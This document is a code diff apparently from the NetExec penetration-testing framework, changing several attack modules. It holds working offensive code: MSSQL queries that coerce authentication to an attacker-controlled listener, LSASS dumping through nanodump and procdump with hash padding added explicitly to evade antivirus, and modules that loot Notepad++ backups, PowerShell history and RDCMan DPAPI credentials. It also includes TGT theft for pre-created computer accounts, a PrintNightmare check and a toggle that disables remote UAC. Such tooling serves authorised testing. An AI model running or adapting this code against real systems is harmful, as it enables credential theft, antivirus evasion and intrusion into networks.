f"BACKUP SERVICE MASTER KEY TO FILE = '\\\\{self.listener}\\file' ENCRYPTION BY PASSWORD = 'password'; GO ",
|
||||
f"RESTORE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password' ENCRYPTION BY PASSWORD = 'password'; GO ",
|
||||
f"RESTORE SERVICE MASTER KEY FROM FILE = '\\\\{self.listener}\\file' DECRYPTION BY PASSWORD = 'password'; GO ",
|
||||
f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file'; DROP TABLE #TEXTFILE;",
|
||||
f"CREATE TABLE #TEXTFILE (column1 NVARCHAR(100)); BULK INSERT #TEXTFILE FROM '\\\\{self.listener}\\file' WITH (FORMATFILE = '\\testing21\file'); DROP TABLE #TEXTFILE;",
|
||||
f"SELECT * FROM sys.fn_xe_file_target_read_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',null,null); GO ",
|
||||
f"SELECT * FROM sys.fn_get_audit_file ('\\\\{self.listener}\\file','\\\\{self.listener}\\file',default,default); GO ",
|
||||
f"SELECT * INTO temp_trc FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);",
|
||||
f"SELECT * FROM fn_trace_gettable('\\\\{self.listener}\\file.trc', default);",
|
||||
f"CREATE SERVER AUDIT TESTING TO FILE ( FILEPATH = '\\\\{self.listener}\\file'); GO ",
|
||||
f"sp_configure 'EKM provider enabled',1; RECONFIGURE; GO; CREATE CRYPTOGRAPHIC PROVIDER SecurityProvider FROM FILE = '\\\\{self.listener}\\file'; GO ",
|
||||
f"CREATE EXTERNAL FILE FORMAT myfileformat WITH (FORMATFILE = '\\\\{self.listener}\\file'); GO ",
|
||||
f"xp_subdirs '\\\\{self.listener}\\file';",
|
||||
f"xp_cmdshell 'dir \\\\{self.listener}\\file';",
|
||||
f"SELECT * FROM fn_dump_dblog(NULL,NULL,'DISK',1,'\\\\{self.listener}\\fakefile.bak',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL);",
|
||||
f"SELECT * FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0','Data Source=\\\\{self.listener}\\file\\test.xls;Extended Properties=EXCEL 5.0')...[Sheet1$];",
|
||||
f"SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0','Excel 8.0;HDR=YES;Database=\\\\{self.listener}\\file\\test.xls','select * from [ProductList$]');",
|
||||
f"SELECT * FROM OPENROWSET('Microsoft.ACE.OLEDB.12.0','Excel 12.0 Xml;HDR=YES;Database=\\\\{self.listener}\\file\\test.xlsx','SELECT * FROM [ProductList$]');",
|
||||
f"SELECT * FROM sys.dm_os_file_exists('\\\\{self.listener}\\file\\test.xlsx');",
|
||||
]
|
||||
for command in commands:
|
||||
try:
|
||||
result = self.mssql_conn.sql_query(command)
|
||||
self.context.log.debug(f"Executing command: {command}, Command result: {result}")
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to execute command: {command}, Error: {e}")
|
||||
self.context.log.display("Commands executed successfully, check the listener for results")
|
||||
@@ -51,6 +51,10 @@ class NXCModule:
|
||||
self.nano = "nano.exe"
|
||||
self.nano_path = ""
|
||||
self.useembeded = True
|
||||
# Add some random binary data to defeat AVs which check the file hash
|
||||
padding = datetime.now().strftime("%Y%m%d%H%M%S").encode()
|
||||
self.nano_embedded64 += padding
|
||||
self.nano_embedded32 += padding
|
||||
|
||||
if "NANO_PATH" in module_options:
|
||||
self.nano_path = module_options["NANO_PATH"]
|
||||
@@ -149,7 +153,10 @@ class NXCModule:
|
||||
self.context.log.fail("Process lsass.exe error on dump, try with verbose")
|
||||
dump = False
|
||||
|
||||
if dump:
|
||||
if not dump:
|
||||
self.delete_nanodump_binary()
|
||||
return
|
||||
else:
|
||||
self.context.log.display(f"Copying {nano_log_name} to host")
|
||||
filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
|
||||
if self.context.protocol == "smb":
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
from io import BytesIO
|
||||
from os import makedirs
|
||||
from os.path import join, abspath
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
# Finds notepad++ unsaved backup files
|
||||
# Module by @Defte_
|
||||
|
||||
name = "notepad++"
|
||||
description = "Extracts notepad++ unsaved files."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
|
||||
|
||||
def options(self, context, module_options):
|
||||
""""""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
found = 0
|
||||
for directory in connection.conn.listPath("C$", "Users\\*"):
|
||||
if directory.get_longname() not in self.false_positive and directory.is_directory():
|
||||
try:
|
||||
notepad_backup_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Notepad++\\backup\\"
|
||||
for file in connection.conn.listPath("C$", f"{notepad_backup_dir}\\*"):
|
||||
file_path = f"{notepad_backup_dir}{file.get_longname()}"
|
||||
if file.get_longname() not in self.false_positive:
|
||||
found += 1
|
||||
file_path = f"{notepad_backup_dir}{file.get_longname()}"
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("C$", file_path, buf.write)
|
||||
buf.seek(0)
|
||||
file_content = buf.read().decode("utf-8", errors="ignore").lower()
|
||||
context.log.highlight(f"C:\\{file_path}")
|
||||
for line in file_content.splitlines():
|
||||
context.log.highlight(f"\t{line}")
|
||||
filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt"
|
||||
export_path = join(NXC_PATH, "modules", "notepad++")
|
||||
path = abspath(join(export_path, filename))
|
||||
makedirs(export_path, exist_ok=True)
|
||||
try:
|
||||
with open(path, "w+") as file:
|
||||
file.write(file_content)
|
||||
context.log.highlight(f"Notepad++ backup written to: {path}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to write Notepad++ backup to {filename}: {e}")
|
||||
except Exception:
|
||||
pass
|
||||
@@ -40,7 +40,7 @@ class NXCModule:
|
||||
|
||||
try:
|
||||
context.log.debug(f"Search Filter={search_filter}")
|
||||
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
||||
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
|
||||
except Exception:
|
||||
context.log.error("LDAP search error:", exc_info=True)
|
||||
return False
|
||||
|
||||
+5
-1
@@ -1,7 +1,7 @@
|
||||
from base64 import b64decode
|
||||
from sys import exit
|
||||
from os.path import abspath, join, isfile
|
||||
|
||||
from datetime import datetime
|
||||
from nxc.paths import DATA_PATH, TMP_PATH
|
||||
|
||||
|
||||
@@ -25,9 +25,13 @@ class NXCModule:
|
||||
self.pi = "pi.exe"
|
||||
self.useembeded = True
|
||||
self.pid = self.cmd = ""
|
||||
|
||||
with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
|
||||
self.pi_embedded = b64decode(pi_file.read())
|
||||
|
||||
# Add some random binary data to defeat AVs which check the file hash
|
||||
self.pi_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
|
||||
|
||||
if "EXEC" in module_options:
|
||||
self.cmd = module_options["EXEC"]
|
||||
|
||||
|
||||
@@ -1,73 +1,60 @@
|
||||
import traceback
|
||||
from os import makedirs
|
||||
from os.path import join, abspath
|
||||
from nxc.paths import NXC_PATH
|
||||
from io import BytesIO
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @357384n"""
|
||||
# Module by @357384n
|
||||
# Modified by @Defte_ 12/10/2024 to remove unecessary powershell execute command
|
||||
|
||||
name = "powershell_history"
|
||||
description = "Extracts PowerShell history for all users and looks for sensitive commands."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
|
||||
sensitive_keywords = [
|
||||
"password", "passw", "secret", "credential", "key",
|
||||
"get-credential", "convertto-securestring", "set-localuser",
|
||||
"new-localuser", "set-adaccountpassword", "new-object system.net.webclient",
|
||||
"invoke-webrequest", "invoke-restmethod"
|
||||
]
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""To export all the history you can add the following option: -o export=True"""
|
||||
context.log.info(f"Received module options: {module_options}")
|
||||
def options(self, _, module_options):
|
||||
self.export = bool(module_options.get("EXPORT", False))
|
||||
context.log.info(f"Option export set to: {self.export}")
|
||||
|
||||
def analyze_history(self, history):
|
||||
"""Analyze PowerShell history for sensitive information."""
|
||||
sensitive_keywords = [
|
||||
"password", "passwd", "passw", "secret", "credential", "key",
|
||||
"get-credential", "convertto-securestring", "set-localuser",
|
||||
"new-localuser", "set-adaccountpassword", "new-object system.net.webclient",
|
||||
"invoke-webrequest", "invoke-restmethod"
|
||||
]
|
||||
sensitive_commands = []
|
||||
for command in history:
|
||||
command_lower = command.lower()
|
||||
if any(keyword.lower() in command_lower for keyword in sensitive_keywords):
|
||||
sensitive_commands.append(command.strip())
|
||||
return sensitive_commands
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
"""Main function to retrieve and analyze PowerShell history."""
|
||||
try:
|
||||
context.log.info("Retrieving PowerShell history...")
|
||||
command = 'powershell.exe "type C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt"'
|
||||
history = connection.execute(command, True).split("\n")
|
||||
if history:
|
||||
sensitive_commands = self.analyze_history(history)
|
||||
if sensitive_commands:
|
||||
context.log.highlight("Sensitive commands found in PowerShell history:")
|
||||
for command in sensitive_commands:
|
||||
context.log.highlight(f" {command}")
|
||||
else:
|
||||
context.log.info("No sensitive commands found in PowerShell history.")
|
||||
else:
|
||||
context.log.info("No PowerShell history found.")
|
||||
|
||||
# Check if export is enabled
|
||||
context.log.info(f"Export option is set to: {self.export}")
|
||||
if self.export and history:
|
||||
host = connection.host # Assuming 'host' contains the target IP or hostname
|
||||
filename = f"{host}_powershell_history.txt"
|
||||
export_path = join(NXC_PATH, "modules", "powershell_history")
|
||||
path = abspath(join(export_path, filename))
|
||||
makedirs(export_path, exist_ok=True)
|
||||
|
||||
context.log.info(f"Export enabled, writing history to {path}")
|
||||
for directory in connection.conn.listPath("C$", "Users\\*"):
|
||||
if directory.get_longname() not in self.false_positive and directory.is_directory():
|
||||
try:
|
||||
with open(path, "w") as file:
|
||||
for cmd in history:
|
||||
file.write(cmd + "\n")
|
||||
context.log.highlight(f"PowerShell history written to: {path}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to write history to {filename}: {e}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"UNEXPECTED ERROR: {e}")
|
||||
context.log.debug(traceback.format_exc())
|
||||
powershell_history_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\"
|
||||
for file in connection.conn.listPath("C$", f"{powershell_history_dir}\\*"):
|
||||
if file.get_longname() not in self.false_positive:
|
||||
file_path = f"{powershell_history_dir}{file.get_longname()}"
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("C$", file_path, buf.write)
|
||||
buf.seek(0)
|
||||
file_content = buf.read().decode("utf-8", errors="ignore")
|
||||
keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword.lower() in file_content.lower()]
|
||||
if len(keywords):
|
||||
context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]")
|
||||
else:
|
||||
context.log.highlight(f"C:\\{file_path}")
|
||||
|
||||
for line in file_content.splitlines():
|
||||
context.log.highlight(f"\t{line}")
|
||||
if self.export:
|
||||
filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt"
|
||||
export_path = join(NXC_PATH, "modules", "powershell_history")
|
||||
path = abspath(join(export_path, filename))
|
||||
makedirs(export_path, exist_ok=True)
|
||||
try:
|
||||
with open(path, "w+") as file:
|
||||
file.write(file_content)
|
||||
context.log.highlight(f"PowerShell history written to: {path}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to write history to {filename}: {e}")
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
@@ -24,7 +24,7 @@ class NXCModule:
|
||||
|
||||
def on_login(self, context, connection):
|
||||
try:
|
||||
ldap_connection = connection.ldapConnection
|
||||
ldap_connection = connection.ldap_connection
|
||||
|
||||
# Define the search filter for pre-created computer accounts
|
||||
search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
|
||||
@@ -94,7 +94,7 @@ class NXCModule:
|
||||
def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir):
|
||||
try:
|
||||
userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
password = username # Password is the machine name in lowercase
|
||||
password = username[:14] # Password is the first 14 characters of the machine name in lowercase
|
||||
context.log.info(f"Getting TGT for {username}@{domain}")
|
||||
|
||||
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import sys
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE, rpc_status_codes
|
||||
from impacket.structure import Structure
|
||||
from impacket.dcerpc.v5 import transport, rprn
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
|
||||
@@ -39,7 +39,8 @@ class NXCModule:
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515)
|
||||
stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % connection.host
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % target
|
||||
|
||||
context.log.info(f"Binding to {stringbinding!r}")
|
||||
|
||||
@@ -55,7 +56,7 @@ class NXCModule:
|
||||
)
|
||||
|
||||
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
rpctransport.setRemoteHost(target)
|
||||
rpctransport.set_dport(self.port)
|
||||
|
||||
try:
|
||||
@@ -101,7 +102,12 @@ class NXCModule:
|
||||
if e.error_code == system_errors.ERROR_INVALID_PARAMETER:
|
||||
context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare")
|
||||
return True
|
||||
raise e
|
||||
context.log.fail(f"Unexpected error: {e}")
|
||||
except DCERPCException as e:
|
||||
if rpc_status_codes[e.error_code] == "rpc_s_access_denied":
|
||||
context.log.info("Not vulnerable :'(")
|
||||
return False
|
||||
context.log.fail(f"Unexpected error: {e}")
|
||||
context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare")
|
||||
return True
|
||||
|
||||
|
||||
+16
-8
@@ -4,11 +4,11 @@
|
||||
|
||||
import base64
|
||||
import re
|
||||
import sys
|
||||
import pypykatz
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.paths import TMP_PATH
|
||||
from os.path import abspath, join
|
||||
from datetime import datetime
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -35,6 +35,8 @@ class NXCModule:
|
||||
self.procdump_path = abspath(TMP_PATH)
|
||||
self.dir_result = self.procdump_path
|
||||
self.useembeded = True
|
||||
# Add some random binary data to defeat AVs which check the file hash
|
||||
self.procdump_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
|
||||
|
||||
if "PROCDUMP_PATH" in module_options:
|
||||
self.procdump_path = module_options["PROCDUMP_PATH"]
|
||||
@@ -79,7 +81,10 @@ class NXCModule:
|
||||
else:
|
||||
context.log.fail("Process lsass.exe error un dump, try with verbose")
|
||||
|
||||
if dump:
|
||||
if not dump:
|
||||
self.delete_procdump_binary(connection, context)
|
||||
return
|
||||
else:
|
||||
regex = r"([A-Za-z0-9-]*.dmp)"
|
||||
matches = re.search(regex, str(p), re.MULTILINE)
|
||||
machine_name = ""
|
||||
@@ -87,7 +92,7 @@ class NXCModule:
|
||||
machine_name = matches.group()
|
||||
else:
|
||||
context.log.display("Error getting the lsass.dmp file name")
|
||||
sys.exit(1)
|
||||
return
|
||||
|
||||
context.log.display(f"Copy {machine_name} to host")
|
||||
|
||||
@@ -98,11 +103,7 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error while get file: {e}")
|
||||
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + self.procdump)
|
||||
context.log.success(f"Deleted procdump file on the {self.share} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting procdump file on share {self.share}: {e}")
|
||||
self.delete_procdump_binary(connection, context)
|
||||
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
|
||||
@@ -152,3 +153,10 @@ class NXCModule:
|
||||
add_user_bh(credz_bh, None, context.log, connection.config)
|
||||
except Exception as e:
|
||||
context.log.fail("Error openning dump file", str(e))
|
||||
|
||||
def delete_procdump_binary(self, connection, context):
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + self.procdump)
|
||||
context.log.success(f"Deleted procdump file on the {self.share} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting procdump file on share {self.share}: {e}")
|
||||
|
||||
+1
-1
@@ -24,7 +24,7 @@ class NXCModule:
|
||||
def on_login(self, context, connection):
|
||||
# Are there even any FGPPs?
|
||||
context.log.success("Attempting to enumerate policies...")
|
||||
resp = connection.ldapConnection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)")
|
||||
resp = connection.ldap_connection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)")
|
||||
if len(resp) > 1:
|
||||
context.log.highlight(f"{len(resp) - 1} PSO Objects found!")
|
||||
context.log.highlight("")
|
||||
|
||||
+16
-12
@@ -69,19 +69,23 @@ class NXCModule:
|
||||
def load_missing_users(self, unloaded_user_objects):
|
||||
"""Load missing users into registry to access their registry keys."""
|
||||
for user_object in unloaded_user_objects:
|
||||
# Extract profile Path of NTUSER.DAT
|
||||
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
|
||||
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
try:
|
||||
# Extract profile Path of NTUSER.DAT
|
||||
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
|
||||
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
|
||||
# Load Profile
|
||||
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
|
||||
# Load Profile
|
||||
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
|
||||
|
||||
self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
|
||||
rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
|
||||
rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
except rrp.DCERPCSessionError as e:
|
||||
self.context.log.fail(f"Error loading user {user_object} into registry: {e}")
|
||||
self.context.log.debug(traceback.format_exc())
|
||||
|
||||
def unload_missing_users(self, unloaded_user_objects):
|
||||
"""If some user were not logged in at the beginning we unload them from registry."""
|
||||
@@ -92,7 +96,7 @@ class NXCModule:
|
||||
self.context.log.debug(f"UNLOAD USER FROM REGISTRY: {user_object}")
|
||||
try:
|
||||
rrp.hBaseRegUnLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object)
|
||||
except Exception as e:
|
||||
except rrp.DCERPCSessionError as e:
|
||||
self.context.log.fail(f"Error unloading user {user_object} in registry: {e}")
|
||||
self.context.log.debug(traceback.format_exc())
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
|
||||
+21
-88
@@ -1,10 +1,8 @@
|
||||
from dploot.triage.rdg import RDGTriage
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
from dploot.triage.rdg import RDGTriage, RDGServerProfile
|
||||
from dploot.lib.target import Target
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -15,99 +13,34 @@ class NXCModule:
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
PVK Domain backup key file
|
||||
MKFILE File with masterkeys in form of {GUID}:SHA1
|
||||
"""
|
||||
self.pvkbytes = None
|
||||
self.masterkeys = None
|
||||
|
||||
if "PVK" in module_options:
|
||||
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
|
||||
|
||||
if "MKFILE" in module_options:
|
||||
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
|
||||
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
|
||||
""" """
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
host = connection.hostname + "." + connection.domain
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
if self.pvkbytes is None:
|
||||
try:
|
||||
dc = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dc_conn = DPLootSMBConnection(dc)
|
||||
dc_conn.connect()
|
||||
|
||||
if dc_conn.is_admin:
|
||||
context.log.success("User is Domain Administrator, exporting domain backupkey...")
|
||||
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
|
||||
backupkey = backupkey_triage.triage_backupkey()
|
||||
self.pvkbytes = backupkey.backupkey_v2
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get domain backupkey: {e}")
|
||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
target = Target.create(
|
||||
domain=domain,
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=use_kcache,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = None
|
||||
|
||||
try:
|
||||
conn = DPLootSMBConnection(target)
|
||||
conn.smb_session = connection.conn
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not upgrade connection: {e}")
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
|
||||
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
|
||||
if password != "":
|
||||
plaintexts[username] = password
|
||||
if nthash != "":
|
||||
nthashes[username] = nthash
|
||||
|
||||
if self.masterkeys is None:
|
||||
try:
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=target,
|
||||
conn=conn,
|
||||
pvkbytes=self.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem={},
|
||||
)
|
||||
self.masterkeys = masterkeys_triage.triage_masterkeys()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get masterkeys: {e}")
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
@@ -122,17 +55,17 @@ class NXCModule:
|
||||
if rdcman_file is None:
|
||||
continue
|
||||
for rdg_cred in rdcman_file.rdg_creds:
|
||||
if rdg_cred.type in ["cred", "logon", "server"]:
|
||||
log_text = "{} - {}:{}".format(rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode("latin-1")) if rdg_cred.type == "server" else "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1"))
|
||||
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
|
||||
if isinstance(rdg_cred, RDGServerProfile):
|
||||
log_text = f"{rdg_cred.server_name} - {log_text}"
|
||||
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
|
||||
|
||||
for rdgfile in rdgfiles:
|
||||
if rdgfile is None:
|
||||
continue
|
||||
for rdg_cred in rdgfile.rdg_creds:
|
||||
log_text = "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1"))
|
||||
if rdg_cred.type == "server":
|
||||
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
|
||||
if isinstance(rdg_cred, RDGServerProfile):
|
||||
log_text = f"{rdg_cred.server_name} - {log_text}"
|
||||
context.log.highlight(f"[{rdgfile.winuser}][{rdg_cred.profile_name}] {log_text}")
|
||||
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not loot RDCMan secrets: {e}")
|
||||
|
||||
@@ -0,0 +1,65 @@
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @Defte_"""
|
||||
name = "remote-uac"
|
||||
description = "Enable or disable remote UAC"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.action = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Enables UAC (prevent non RID500 account to get high priv token remotely)
|
||||
Disables UAC (allow non RID500 account to get high priv token remotely)
|
||||
|
||||
ACTION: "enable" or "disable" (required)
|
||||
"""
|
||||
if "ACTION" not in module_options:
|
||||
context.log.fail("ACTION option not specified!")
|
||||
return
|
||||
|
||||
if module_options["ACTION"].lower() not in ["enable", "disable"]:
|
||||
context.log.fail("ACTION must be either enable, disable or query")
|
||||
return
|
||||
self.action = module_options["ACTION"].lower()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
if remoteOps._RemoteOperations__rrp:
|
||||
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
|
||||
regHandle = ans["phKey"]
|
||||
|
||||
